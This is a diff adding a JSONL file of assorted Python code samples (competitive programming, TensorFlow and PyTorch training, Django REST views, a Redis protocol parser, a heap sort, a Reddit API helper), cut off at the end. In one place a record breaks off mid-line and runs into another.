diff --git "a/3873.jsonl" "b/3873.jsonl" new file mode 100644--- /dev/null +++ "b/3873.jsonl" @@ -0,0 +1,721 @@ +{"seq_id":"120604176","text":"#이분탐색 + 올림함수\n\nfrom sys import stdin\nfrom math import ceil #올림함수 ceil\n\ninput = stdin.readline\n\nn, m = map(int, input().split())\n\njewel = []\nfor _ in range(m):\n jewel.append(int(input()))\n\nstart, end, ans = 1, max(jewel), 0\n\nwhile start <= end:\n mid = (start + end) // 2 #mid = 최대 질투심\n count = 0\n for i in jewel:\n count += ceil(i / mid)\n if count <= n: #받지 못하는 학생 있어도 되므로\n ans = mid #답 후보\n end = mid -1\n else:\n start = mid + 1\n\nprint(ans)","sub_path":"이분탐색/[2792]보석 상자.py","file_name":"[2792]보석 상자.py","file_ext":"py","file_size_in_byte":548,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"58863565","text":"\nimport tensorflow as tf\nfrom tensorflow.examples.tutorials.mnist import input_data\n\nmnist = input_data.read_data_sets(\"MNIST_data/\", one_hot=True)\nprint(mnist.train.images.shape, mnist.train.labels.shape)\n\n#with one hidden layer\nin_units = 784\nh1_units = 300\nW1 = tf.Variable(tf.truncated_normal([in_units, h1_units], stddev=0.1))\nb1 = tf.Variable(tf.zeros([h1_units]))\nW2 = tf.Variable(tf.zeros([h1_units, 10]))\nb2 = tf.Variable(tf.zeros([10]))\n\nx = tf.placeholder(tf.float32, [None, in_units])\nkeep_prob = tf.placeholder(dtype=tf.float32)\nhidden1 = tf.nn.relu(tf.matmul(x, W1) + b1)\nhidden1_drop = tf.nn.dropout(hidden1, keep_prob)\ny = tf.nn.softmax(tf.matmul(hidden1_drop, W2) + b2)\n\ny_ = tf.placeholder(tf.float32, [None, 10])\ncost = tf.reduce_mean(-tf.reduce_sum(y_ * tf.log(y), reduction_indices=[1]))\n\nsession = tf.InteractiveSession()\npath = './model/model.ckpt'\nsaver = tf.train.Saver()\n#saver.restore(session, path)\n\ntrain_step = tf.train.AdagradOptimizer(0.3).minimize(cost)\ntf.global_variables_initializer().run()\nfor i in range(3000):\n batch_x, batch_y = mnist.train.next_batch(100)\n train_step.run({x:batch_x, y_:batch_y, keep_prob:0.75})\n print('cost[', str(i), ']: ', session.run((cost), feed_dict={x:batch_x, y_:batch_y, keep_prob:0.75}))\n #print('cost[', str(i), ']: ', tf.cast(cost, tf.float32))\n\nsaver.save(session, path)\ncorrect = tf.equal(tf.argmax(y, 1), tf.argmax(y_, 1))\naccuracy = tf.reduce_mean(tf.cast(correct, tf.float32))\nprint(accuracy.eval({x:mnist.test.images, y_:mnist.test.labels, keep_prob:1.0}))\n\n","sub_path":"tensorflow/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1547,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"48488056","text":"from PyPDF2 import PdfFileMerger\nfrom PyPDF2 import PdfFileWriter\nfrom PyPDF2 import PdfFileReader\nimport os,shutil\nimport xlrd\nfrom openpyxl import load_workbook\n\n\nlistCpnjs=[]\nrow=18\nrows=''\ns='Data e Horário da Transmissão da Declaração'\n\n\nforms = xlrd.open_workbook('controle.xlsx')\nwS = forms.sheet_by_index(0)\nrows = wS.col_values(5)\n\nwhile (row 0, \"Number must be positive\"\n return num*num\n\n\n#%%\nret_square()\n\n\n#%%\n\n\n","sub_path":"py_basics01_convert.py","file_name":"py_basics01_convert.py","file_ext":"py","file_size_in_byte":1035,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"471795357","text":"\"\"\"\nProvides the codecs for parsing/sending messages.\n\nSee http://redis.io/topics/protocol for more info.\n\"\"\"\nimport redis\n\n\nclass InputParser(redis.connection.BaseParser):\n \"\"\"Subclasses the client PythonParser to spoof the internals of reading off a socket.\"\"\"\n def __init__(self, lines, encoding=None):\n self.data = lines\n self.pos = 0\n self.encoding = encoding\n\n def read(self, _length=None):\n \"\"\"Override; read from memory instead of a socket.\"\"\"\n self.pos += 1\n data = self.data[self.pos - 1]\n if self.encoding:\n data.decode(self.encoding)\n return data\n\n def parse_error(self, response):\n \"Parse an error response\"\n error_code = response.split(' ')[0]\n if error_code in self.EXCEPTION_CLASSES:\n response = response[len(error_code) + 1:]\n exception_class = self.EXCEPTION_CLASSES[error_code]\n if isinstance(exception_class, dict):\n exception_class = exception_class.get(response, redis.exceptions.ResponseError)\n return exception_class(response)\n return redis.exceptions.ResponseError(response)\n\n def read_response(self):\n raw = self.read()\n if not raw:\n raise ConnectionError(\"Socket closed on remote end\")\n\n byte, response = raw[:1], raw[1:]\n\n if byte not in (b'-', b'+', b':', b'$', b'*'):\n raise redis.exceptions.InvalidResponse(\"Protocol Error: %r\" % raw)\n\n # server returned an error\n if byte == b'-':\n response = response.decode('utf-8', errors='replace')\n error = self.parse_error(response)\n # if the error is a ConnectionError, raise immediately so the user\n # is notified\n if isinstance(error, ConnectionError):\n raise error\n # otherwise, we're dealing with a ResponseError that might belong\n # inside a pipeline response. the connection's read_response()\n # and/or the pipeline's execute() will raise this error if\n # necessary, so just return the exception instance here.\n return error\n # single value\n elif byte == b'+':\n pass\n # int value\n elif byte == b':':\n response = int(response)\n # bulk response\n elif byte == b'$':\n length = int(response)\n if length == -1:\n return None\n response = self.read()\n if len(response) != length:\n raise redis.exceptions.DataError(\"error data length\")\n # multi-bulk response\n elif byte == b'*':\n length = int(response)\n if length == -1:\n return None\n response = [self.read_response() for i in range(length)]\n if isinstance(response, bytes) and self.encoding:\n response = response.decode(self.encoding)\n return response\n\n\nclass Response(object):\n \"\"\"Writes data to callback as dictated by the Redis Protocol.\"\"\"\n def __init__(self, write_callback):\n self.callback = write_callback\n self.dirty = False\n\n def encode(self, value):\n \"\"\"Respond with data.\"\"\"\n if isinstance(value, (list, tuple)):\n self._write('*%d\\r\\n' % len(value))\n for v in value:\n self._bulk(v)\n elif isinstance(value, (int, float)):\n self._write(':%d\\r\\n' % value)\n elif isinstance(value, bool):\n self._write(':%d\\r\\n' % (1 if value else 0))\n else:\n self._bulk(value)\n\n def status(self, msg=\"OK\"):\n \"\"\"Send a status.\"\"\"\n self._write(\"+%s\\r\\n\" % msg)\n\n def error(self, msg):\n \"\"\"Send an error.\"\"\"\n data = ['-', str(msg), \"\\r\\n\"]\n self._write(\"\".join(data))\n\n def _bulk(self, value):\n \"\"\"Send part of a multiline reply.\"\"\"\n data = [b'$', str(len(value)).encode(), b'\\r\\n', value, b'\\r\\n']\n self._write(b\"\".join(data))\n\n def _write(self, data):\n if not self.dirty:\n self.dirty = True\n\n if type(data) is str:\n data = data.encode()\n\n self.callback(data)\n","sub_path":"rediserver/protocol.py","file_name":"protocol.py","file_ext":"py","file_size_in_byte":4209,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"458536077","text":"import sys\nfrom collections import deque\n\n\ndef input(): return sys.stdin.readline().rstrip()\n\n\"\"\"\n\n\n\"\"\"\n\ne, f, c = map(int, input().split())\n\nans = 0\ne += f\n\nwhile e >= c:\n # 한번 바꿔먹었을때\n res1, res2 = divmod(e, c)\n ans += res1\n e = res1 + res2\n #print(f\"{res1} {res2} {e}\")\n\nprint(ans)\n\n\"\"\"\n9 0 3\n4\n\n10 0 3\n4\n\n13 0 3\n6\n\n\"\"\"\n","sub_path":"BOJ_Bronze/5032.py","file_name":"5032.py","file_ext":"py","file_size_in_byte":353,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"267957243","text":"from setuptools import setup\nfrom setuptools import find_packages\n\nwith open(\"README.md\", \"r\") as fh:\n long_description = fh.read()\n\nsetup(name='netpy',\n version='0.0.0.1',\n author=\"nethub\",\n author_email=\"nethub@yandex.ru\",\n description=\"Library for ML\",\n long_description=long_description,\n install_requires=['numpy>=1.9.1',\n 'scipy>=0.14',\n 'h5py'],\n packages=find_packages())\n","sub_path":"pypi_install_script/netpy-0.0.0.1.tar/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":464,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"177397750","text":"import time\nimport requests\nimport logging\nfrom API.admin.shop.serializers import ImoocLangSerializer, FunServerSerializer, qiaohuOrderSerializer, \\\n qiaohuRecordSerializer, imoocSerilizer, WelfareSexxdSerializer, CourseSerializer, ResSerializer,CategorySerializer,\\\n AttributeSerizalizer\nfrom django.db.models import Q\nfrom django_filters.rest_framework import DjangoFilterBackend\nfrom rest_framework import filters\n# Create your views here.\nfrom rest_framework import viewsets, status,validators\nfrom rest_framework.decorators import action\nfrom rest_framework.response import Response\nfrom django.db import transaction\nfrom shop.models import imooc\nfrom API.core.Paginations import NormalPagination,LimitOffsetPagination\nfrom API.core.BaseViewSet import AdminViewSet,AdminDetailViewset\nfrom rest_framework import urls\n\nfrom utils.food.collecter import spiderFood\nfrom utils.rest_api.exceptions import RestException\n\nlogger = logging.getLogger('accesslog')\n\nfrom account.models import UserProfile\nfrom food.models import FoodMenu, Category, Food, Img, FoodMenuUnit, MenuSteps, FoodCate, FoodMenuImg, ShowCategory\nfrom API.admin.food import serializers\nUser=UserProfile\n\n\n\n\nclass MenuViewSet(AdminViewSet):\n queryset = FoodMenu.objects.all()\n serializer_class = serializers.MenuSerilizer\n def get_queryset(self):\n name=self.request.query_params.get(\"name\")\n orderby=self.request.query_params.get(\"orderby\")\n queryset=FoodMenu.objects.all()\n if name:\n queryset=queryset.filter(name__icontains=name)\n return queryset.order_by(orderby or \"id\")\n \n def retrieve(self, request, *args, **kwargs):\n instance = self.get_object()\n data = self.get_serializer(instance).data\n steps=MenuSteps.objects.filter(menu=instance).order_by('id').values('img','title','content')\n data['steps']=steps\n return Response(data)\n \n def update(self, request, *args, **kwargs):\n imgs=request.data.get('imgs')\n foodList = request.data.get(\"foodList\")\n steps=request.data.get('steps')\n instance=self.get_object()\n # 先删除原有的 然后再替换\n if foodList is not None:\n instance.foodmenuunit_set.all().delete()\n for item in foodList:\n try:\n food = Food.objects.get(id=item['id'])\n except Exception as e:\n print(item)\n continue\n FoodMenuUnit.objects.create(foodmenu=instance, unit=item['unit'], food=food)\n if imgs is not None:\n FoodMenuImg.objects.filter(menu=instance).delete()\n for item in imgs:\n FoodMenuImg.objects.create(menu=instance,img=item)\n if steps is not None:\n instance.menusteps_set.all().delete()\n for item in steps:\n MenuSteps.objects.create(img=item[\"img\"],title=item.get(\"title\",\"\"),content=item.get(\"content\",\"\"),menu=instance)\n \n instance.save()\n return super(MenuViewSet,self).update(request,*args,**kwargs)\n \n def create(self, request, *args, **kwargs):\n # 添加菜谱\n data=request.data\n imgs=data.get('imgs')\n cate=data.get(\"cate\")\n difficulty=data.get(\"difficulty\")\n name=data.get(\"name\")\n tags=data.get(\"tags\")\n time=data.get(\"time\")\n is_active=data.get(\"is_active\",True)\n obj=FoodMenu.objects.create(\n name=name,\n time=time,\n difficulty=difficulty,\n cate_id=cate, is_active=is_active\n )\n #插入图片\n for item in imgs:\n i=Img.objects.create(url=item[\"url\"],filename=item[\"name\"])\n obj.imgs.add(i)\n for tag in tags:\n pass\n obj.save()\n return Response({\"status\":\"ok\"})\n \n @action(detail=False,methods=['post'])\n def importitem(self,request):\n '''\n 通过链接 拉取商品 目前支持:\n \n :param request:\n :return:\n '''\n cate,_=Category.objects.get_or_create(name=\"11\")\n url=request.data.get('url')\n data=spiderFood.loader(url)\n name=data[\"title\"]\n imgs=data[\"imgs\"]\n steps=data[\"steps\"]\n foods=data['foods']\n fs=Food.objects.filter(name__in=[i['name'] for i in foods]).values('id','name')\n results={}\n results['foods']=foods\n results['steps']=steps\n results['imgs']=imgs\n results['name']=name\n return Response(results)\n #\n # try:\n # with transaction.atomic():\n # instance = FoodMenu.objects.create(name=name, time=10, difficulty=0, cate=cate, is_active=True)\n # for item in imgs:\n # i = Img.objects.create(url=item, filename=\"\")\n # instance.imgs.add(i)\n # for item in steps:\n # MenuSteps.objects.create(img=item[\"img\"], title=item.get(\"title\", \"\"),\n # content=item.get(\"content\", \"\"), food=instance)\n # except Exception as e:\n # return Response({\"status\":str(e)},status=400)\n # return Response({})\n\n @action(detail=False,methods=['post'])\n def mupdel(self,request,*args,**kwargs):\n FoodMenu.objects.filter(id__in=request.data).delete()\n return Response({})\n \nclass CateViewSet(AdminViewSet):\n queryset = Category.objects.all()\n serializer_class = serializers.CateSerializer\n filter_fields=(\"parent\",\"name\")\n def get_queryset(self):\n return self.queryset\n \n @action(detail=False)\n def parent(self,request):\n return Response(self.get_queryset().filter(parent__isnull=True).values(\"id\",\"name\"))\n\n @action(detail=False)\n def childrens(self, request):\n return Response(self.get_queryset().filter(parent__isnull=False).values(\"id\", \"name\"))\n \n def create(self, request, *args, **kwargs):\n data=request.data\n name=data.get(\"name\")\n parent=data.get(\"parent\")\n if Category.objects.filter(parent_id=parent,name=name):\n # raise\n raise RestException(detail=\"分类已存在\",code=400)\n return super(AdminViewSet,self).create(request,*args,**kwargs)\n \n\n @action(detail=False,methods=[\"get\"])\n def tree_data(self,request,*args,**kwargs):\n queryset=Category.objects.filter()\n query_data=queryset.values(\"id\",\"parent_id\",\"is_dir\",\"is_active\",\"name\",\"index\").order_by('-index')\n data={item[\"id\"]:item for item in query_data}\n results=[]\n for k,v in data.items():\n if v[\"parent_id\"]:\n parent_item=data.get(v[\"parent_id\"])\n if 'children' in parent_item:\n parent_item['children'].append(v)\n else:\n parent_item['children']=[v]\n else:\n results.append(v)\n return Response(results)\n \n \nclass FoodViewSet(AdminViewSet):\n queryset = Food.objects.all()\n serializer_class = serializers.FoodSerilizer\n\n filter_fields = (\"name\",)\n \n def get_queryset(self):\n queryset=Food.objects.all()\n t=self.request.query_params.get('type')\n if t:\n t=FoodCate.objects.get(id=t)\n if t.level==1:\n queryset=queryset.filter(cate__parent=t)\n if t.level==2:\n queryset=queryset.filter(cate=t)\n return queryset\n \n @action(detail=False)\n def select(self,request):\n return Response(self.get_queryset().values('id','name'))\n\n\nclass FoodCateViewSet(AdminViewSet):\n queryset = FoodCate.objects.all()\n serializer_class=serializers.FoodCateSerilizer\n pagination_class = None\n def get_queryset(self):\n level=self.request.query_params.get('level')\n parent=self.request.query_params.get('parent')\n queryset=FoodCate.objects.all()\n if level:\n queryset=queryset.filter(level=level)\n if parent:\n queryset=queryset.filter(parent_id=parent)\n return queryset\n \n @action(detail=False,methods=['post'])\n def step(self,request):\n '''\n pk:id\n flag 0向上 1 向下\n :param request:\n :return:\n '''\n pk=request.data.get('pk')\n flag=request.data.get('flag')\n instance=FoodCate.objects.get(id=pk)\n instance.index+=flag\n instance.save()\n return Response({\"status\":\"ok\"})\n \n \n @action(detail=False,methods=['get'])\n def options(self, request, *args, **kwargs):\n queryset=FoodCate.objects.filter(level=2).order_by('parent__index','index')\n results=[]\n for item in queryset:\n results.append({\n \"id\":item.id,\n \"name\":\"%s/%s\"%(item.parent.name,item.name)\n })\n return Response(results)\n \n @action(methods=['get'],detail=False)\n def tree(self,request):\n queryset=FoodCate.objects.values('id','index','level','name','parent').order_by('level','index')\n _dict={item['id']:item for item in queryset}\n data=[]\n for _id,item in _dict.items():\n if item['parent']:\n if 'children' not in _dict[item['parent']]:\n _dict[item['parent']]['children']=[]\n _dict[item['parent']]['children'].append(item)\n else:\n data.append(item)\n \n return Response(data)\n\n\nclass ShowCategoryViewSet(viewsets.ModelViewSet):\n queryset = ShowCategory.objects.all()\n serializer_class = None\n pagination_class = None\n \n def list(self, request, *args, **kwargs):\n return Response({})\n \n @action(methods=['get'], detail=False)\n def tree_data(self, request):\n queryset = ShowCategory.objects.values('id', 'index', 'parent', 'menu_cate', 'food_cate').order_by('index')\n foodcate_name = {item[\"id\"]: item[\"name\"] for item in FoodCate.objects.values('id', 'name')}\n menucate_name = {item[\"id\"]: item[\"name\"] for item in Category.objects.values('id', 'name')}\n for item in queryset:\n if item[\"foodcate\"]:\n item[\"name\"] = foodcate_name.get(item['food_cate'])\n else:\n item[\"name\"] = menucate_name.get(item[\"menu_cate\"])\n \n _dict = {item['id']: item for item in queryset}\n data = []\n for _id, item in _dict.items():\n if item['parent']:\n if 'children' not in _dict[item['parent']]:\n _dict[item['parent']]['children'] = []\n _dict[item['parent']]['children'].append(item)\n else:\n data.append(item)\n \n return Response(data)","sub_path":"API/admin/food/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":10814,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"112986345","text":"import os\nimport sys\np = os.path.split(os.path.dirname(os.path.abspath(__file__)))[0]\nsys.path.append(p)\nimport argparse\nimport logging\nimport tensorflow as tf\nimport numpy as np\nfrom pprint import pformat, pprint\n\nfrom datasets import get_dataset\nfrom models import get_model\nfrom utils.hparams import HParams\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--cfg_file', type=str)\nparser.add_argument('--gfile', type=str, default=None)\nparser.add_argument('--restore', type=str, default=None)\nparser.add_argument('--save_last', action='store_true')\nargs = parser.parse_args()\nparams = HParams(args.cfg_file)\nsetattr(params, 'gfile', args.gfile)\npprint(params.dict)\n\n################################################################\nlogging.basicConfig(filename=params.exp_dir + '/train.log',\n filemode='w',\n level=logging.INFO,\n format='%(message)s')\nlogging.info(pformat(params.dict))\n\nos.environ['CUDA_VISIBLE_DEVICES'] = params.gpu\nnp.random.seed(params.seed)\ntf.set_random_seed(params.seed)\n\nconfig = tf.ConfigProto()\nconfig.log_device_placement = True\nconfig.allow_soft_placement = True\nconfig.gpu_options.allow_growth = True\nsess = tf.Session(config=config)\n\n################################################################\n# data\ntrainset = get_dataset('train', params)\n\nvalidset = get_dataset('valid', params)\ntestset = get_dataset('test', params)\n\n\nlogging.info((f\"trainset: {trainset.size}\",\n f\"validset: {validset.size}\",\n f\"testset: {testset.size}\"))\n# model\nmodel = get_model(sess, params)\ninitializer = tf.global_variables_initializer()\nsess.run(initializer)\nsaver = tf.train.Saver(tf.global_variables())\nwriter = tf.summary.FileWriter(params.exp_dir + '/summaries')\n\n# restore\nif args.restore:\n saver.restore(sess, args.restore)\n\ntotal_params = 0\ntrainable_variables = tf.trainable_variables()\nlogging.info('=' * 20)\nlogging.info(\"Variables:\")\nlogging.info(pformat(trainable_variables))\nfor k, v in enumerate(trainable_variables):\n num_params = np.prod(v.get_shape().as_list())\n total_params += num_params\n\nlogging.info(\"TOTAL TENSORS: %d TOTAL PARAMS: %f[M]\" % (\n k + 1, total_params / 1e6))\nlogging.info('=' * 20)\n\n###############################################################\n\ndef train():\n train_metrics = []\n num_batches = trainset.num_batches\n trainset.initialize(sess)\n for i in range(num_batches):\n x, y, b, m = sess.run([trainset.x, trainset.y, trainset.b, trainset.m])\n feed_dict = {model.x:x, model.y:y, model.b:b, model.m:m}\n metric, summ, step, _ = model.run(\n [model.metric, model.summ_op, model.global_step, model.train_op], \n feed_dict)\n if (params.summ_freq > 0) and (i % params.summ_freq == 0):\n writer.add_summary(summ, step)\n train_metrics.append(metric)\n train_metrics = np.concatenate(train_metrics, axis=0)\n\n return np.mean(train_metrics)\n\ndef valid():\n valid_metrics = []\n num_batches = validset.num_batches\n validset.initialize(sess)\n for i in range(num_batches):\n x, y, b, m = sess.run([validset.x, validset.y, validset.b, validset.m])\n feed_dict = {model.x:x, model.y:y, model.b:b, model.m:m}\n metric = model.run(model.metric, feed_dict)\n valid_metrics.append(metric)\n valid_metrics = np.concatenate(valid_metrics, axis=0)\n\n return np.mean(valid_metrics)\n\ndef test():\n test_metrics = []\n num_batches = testset.num_batches\n testset.initialize(sess)\n for i in range(num_batches):\n x, y, b, m = sess.run([testset.x, testset.y, testset.b, testset.m])\n feed_dict = {model.x:x, model.y:y, model.b:b, model.m:m}\n metric = model.run(model.metric, feed_dict)\n test_metrics.append(metric)\n test_metrics = np.concatenate(test_metrics, axis=0)\n\n return np.mean(test_metrics)\n\n###############################################################\n\nlogging.info('starting training')\nbest_train_metric = -np.inf\nbest_valid_metric = -np.inf\nbest_test_metric = -np.inf\nfor epoch in range(params.epochs):\n train_metric = train()\n valid_metric = valid()\n test_metric = test()\n # save\n if train_metric > best_train_metric:\n best_train_metric = train_metric\n if valid_metric > best_valid_metric:\n best_valid_metric = valid_metric\n # save_path = os.path.join(params.exp_dir, 'weights/params.ckpt')\n # saver.save(sess, save_path)\n if test_metric > best_test_metric:\n best_test_metric = test_metric\n save_path = os.path.join(params.exp_dir, 'weights/params.ckpt')\n saver.save(sess, save_path)\n # if args.save_last:\n # save_path = os.path.join(params.exp_dir, 'weights/params.ckpt')\n # saver.save(sess, save_path)\n\n logging.info(\"Epoch %d, train: %.4f/%.4f, valid: %.4f/%.4f test: %.4f/%.4f\" %\n (epoch, train_metric, best_train_metric, \n valid_metric, best_valid_metric,\n test_metric, best_test_metric))\n sys.stdout.flush()\n\n","sub_path":"scripts/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":5061,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"112230415","text":"\nimport sys\nsys.path.append('..')\n\nimport numpy as np \n\nfrom cost2fitness import plot_scores, ReverseByAverage, AntiMax, AntiMaxPercent, Min2Zero, Min2Value, ProbabilityView, SimplestReverse, AlwaysOnes, NewAvgByMult,NewAvgByShift, Pl\n\n\n\n\n\n\npipe = Pl([\n Min2Value(3),\n AntiMaxPercent(0.2),\n ProbabilityView()\n ])\n\n\narr = np.array([10, 9, 8, 7, 6, 5, 5, 5, 8, 9, 12, 15])\n\npipe.plot_on_example(arr, kind = 'under', save_as='pipe_example_under.png')\n\n\npipe = Pl([\n Min2Value(3),\n AntiMaxPercent(0.2),\n NewAvgByMult(4)\n ])\n\npipe.plot_on_example(arr, kind = 'beside', save_as='pipe_example_beside.png')\n\n","sub_path":"tests/simple_pipe.py","file_name":"simple_pipe.py","file_ext":"py","file_size_in_byte":656,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"439947398","text":"from django.shortcuts import redirect, render\nfrom django.views.generic import FormView, TemplateView\n\n\nclass AboutView(TemplateView):\n template_name = \"about.html\"\n\n\nclass EpidemicModelView(FormView):\n \"\"\"Base view to views for plot epidemic models.\"\"\"\n\n default_form = None\n model_name = None\n about = None\n vital = False\n\n def __init__(self, **kwargs):\n \"\"\"Check default_form is in class attributes.\"\"\"\n cls = type(self)\n if not getattr(cls, 'model_name', None):\n raise ValueError(\n 'No model name to show. Provide a model_name.'\n )\n if not getattr(cls, 'default_form', None):\n raise ValueError(\n 'No default form to show. Provide a default_form.'\n )\n if not getattr(cls, '_get_response_data', None):\n raise ValueError(\n 'No method to get response data. '\n 'Provide a _get_response_data method.'\n )\n # Initialize cleaned_data field of default_form to use it in templates.\n self.default_form.is_valid()\n super().__init__(**kwargs)\n\n def get_context_dict(self, form, **kwargs):\n \"\"\"Return context dict for view.\"\"\"\n data = {\n **form.cleaned_data,\n 'model_name': self.model_name,\n 'about': self.about,\n 'vital': self.vital,\n 'form': form,\n }\n data.update(**kwargs)\n return data\n\n def _prepare_plot_data(self, days, plots):\n result = []\n for plot in plots:\n result.append([list(a) for a in zip(range(days), plot)])\n return result\n\n def get(self, request, **kwargs):\n \"\"\"Fill initial form and add values to template.\"\"\"\n super().get(request, **kwargs)\n form = self.default_form\n return self._get_response_data(request, form)\n\n def post(self, request, **kwargs):\n super().post(request, **kwargs)\n form = self.form_class(data=request.POST)\n return self._get_response_data(request, form)\n","sub_path":"apps/core/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2069,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"303229636","text":"\n\nfrom django.conf.urls import url\nfrom .views import *\n\n\n\nurlpatterns=[\nurl(r'^$',login_views,name='login'),\nurl(r'^reg/$',register_views,name='reg'),\nurl(r'^system/$',system_views,name='sys'),\nurl(r'^qa/$',qa_views),\nurl(r'^aqu/$',aq_views),\nurl(r'^dati/$',dati_views),\nurl(r'^paihan/$',paihan_views),\n\n]","sub_path":"index/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":306,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"422074889","text":"\"\"\"\n Author:VolcanicSnow\n Email:liupf2792@gmail.com\n Function:\n Version:1.0\n Date:2020/8/22 10:43\n\"\"\"\n\n\ndef heapify(parent_index, length, nums): # 堆的向下调整\n temp = nums[parent_index] # 把父亲节点拿出来\n child_index = 2 * parent_index + 1 # 左边的孩子索引\n while child_index < length:\n if child_index + 1 < length and nums[child_index + 1] > nums[child_index]: # 如果右边的孩子值大于左边的孩子值\n child_index = child_index + 1 # 选择右边孩子\n if temp > nums[child_index]: # 如果父亲节点比孩子节点值大,说明堆正常,不同调整\n break\n # 孩子节点比父亲节点大,将孩子上移\n nums[parent_index] = nums[child_index]\n parent_index = child_index # 继续向下调整\n child_index = 2 * parent_index + 1\n nums[parent_index] = temp\n\n\ndef heap_sort(nums):\n # 建堆,从最后一个子堆开始向上调整每一个子堆\n # last_index = len(nums) - 1:nums中最后一个元素的索引,堆中最后一个元素的父亲节点的下标为:(last_index - 1) // 2\n for i in range((len(nums) - 2) // 2, -1, -1):\n heapify(i, len(nums), nums)\n # 建堆完毕\n\n for j in range(len(nums) - 1, 0, -1):\n nums[j], nums[0] = nums[0], nums[j] # 将堆顶的元素依次放入 nums 的末尾\n heapify(0, j, nums) # 将num[0: j + 1] 再进行调整\n\n\nnums = [5, 7, 4, 6, 3, 1, 2, 9, 8]\nheap_sort(nums)\nprint(nums)\n","sub_path":"Week_06/10大排序算法/heap_sort.py","file_name":"heap_sort.py","file_ext":"py","file_size_in_byte":1578,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"521045224","text":"#!/usr/bin/python3\n\"\"\" 2. Recurse it! \"\"\"\nfrom requests import get\n\n\ndef recurse(subreddit, hot_list=[], after=None):\n \"\"\" recursive function that queries the Reddit API and returns a list\n containing the titles of all hot articles for a given subreddit. \"\"\"\n headers = {\"User-Agent\": \"javierandresgp\"}\n try:\n source = \"https://www.reddit.com/r/{}.json\".format(subreddit)\n if after:\n source = source + \"?after={}\".format(after)\n my_query = get(source, headers=headers, allow_redirects=False\n ).json().get(\"data\").get(\"children\")\n for title in my_query:\n hot_list.append(title.get(\"data\").get(\"title\"))\n after = get(source, headers=headers,\n allow_redirects=False).json().get(\"data\").get(\"after\")\n if after:\n return recurse(subreddit, hot_list, after)\n return hot_list\n except:\n return None\n","sub_path":"0x16-api_advanced/2-recurse.py","file_name":"2-recurse.py","file_ext":"py","file_size_in_byte":935,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"252671345","text":"from torch_geometric.data import Batch, Data, Dataset, DataLoader\nfrom torch.utils.data.sampler import SubsetRandomSampler, Sampler\nfrom torch_cluster import knn_graph, radius_graph\nimport h5py\nimport numpy as np\nimport torch\nfrom scipy import sparse\nfrom scipy.spatial import distance_matrix\nfrom torch_geometric.utils import convert\nimport sklearn.preprocessing as sklp\n\n \n##......................................................................................................##\n# Data Loading Settings #\n##......................................................................................................##\n \ndef get_loaders(path, train_indices_path, test_indices_path, val_indices_path, batch_size, workers,\n k_neighbours, fully_connected=True, dynamic=False, distance_weighted=True):\n \n dataset = WCH5Dataset(path, train_indices_path, test_indices_path, val_indices_path,\n fully_connected, dynamic, distance_weighted, k_neighbours,)\n \n train_loader=DataLoader(dataset, batch_size=batch_size, num_workers=workers,\n pin_memory=True, sampler=SubsetRandomSampler(dataset.train_indices))\n val_loader=DataLoader(dataset, batch_size=batch_size, num_workers=workers,\n pin_memory=True, sampler=SubsetRandomSampler(dataset.val_indices))\n test_loader=DataLoader(dataset, batch_size=batch_size, num_workers=workers,\n pin_memory=True, sampler=SubsetRandomSampler(dataset.test_indices))\n \n return train_loader, val_loader, test_loader\n\n\n##......................................................................................................##\n# WCH5 Dataset Class #\n##......................................................................................................##\n\nclass WCH5Dataset(Dataset):\n\n def __init__(self, h5_path, train_indices_path, test_indices_path, val_indices_path, \n fully_connected, dynamic, distance_weighted, k_neighbours):\n\n super(WCH5Dataset, self).__init__()\n \n print('fully connected: {}'.format(fully_connected))\n print('dynamic: {}'.format(dynamic))\n print('distance weighted: {}'.format(distance_weighted))\n self.f = h5py.File(h5_path,'r')\n h5_event_data = self.f[\"event_data\"]\n h5_labels = self.f[\"labels\"]\n h5_nhits = self.f[\"nhits\"]\n\n assert h5_event_data.shape[0] == h5_labels.shape[0] == h5_nhits.shape[0]\n \n #set up the memory map\n event_data_shape = h5_event_data.shape\n event_data_offset = h5_event_data.id.get_offset()\n event_data_dtype = h5_event_data.dtype \n \n self.event_data = np.memmap(h5_path, mode='r', shape = event_data_shape,\n offset=event_data_offset, dtype=event_data_dtype)\n \n #.........................................................................#\n \n self.labels = np.array(h5_labels)\n self.nhits = np.array(h5_nhits)\n self.dynamic = dynamic\n self.fully_connected = fully_connected\n self.k_neighbours = k_neighbours\n self.distance_weighted = distance_weighted\n \n #.........................................................................#\n \n self.X = self.event_data\n self.y = self.labels\n \n #.........................................................................#\n \n self.train_indices = self.load_indicies(train_indices_path)\n self.val_indices = self.load_indicies(val_indices_path)\n self.test_indices = self.load_indicies(test_indices_path)\n \n #.........................................................................#\n \n \n def load_indicies(self, indicies_file):\n with open(indicies_file, 'r') as f:\n lines = f.readlines()\n indicies = [int(l.strip()) for l in lines]\n return indicies\n \n def dist_pos_matrix(self, idx, nhits):\n hitPosMatrix = np.array(self.X[idx, :nhits, 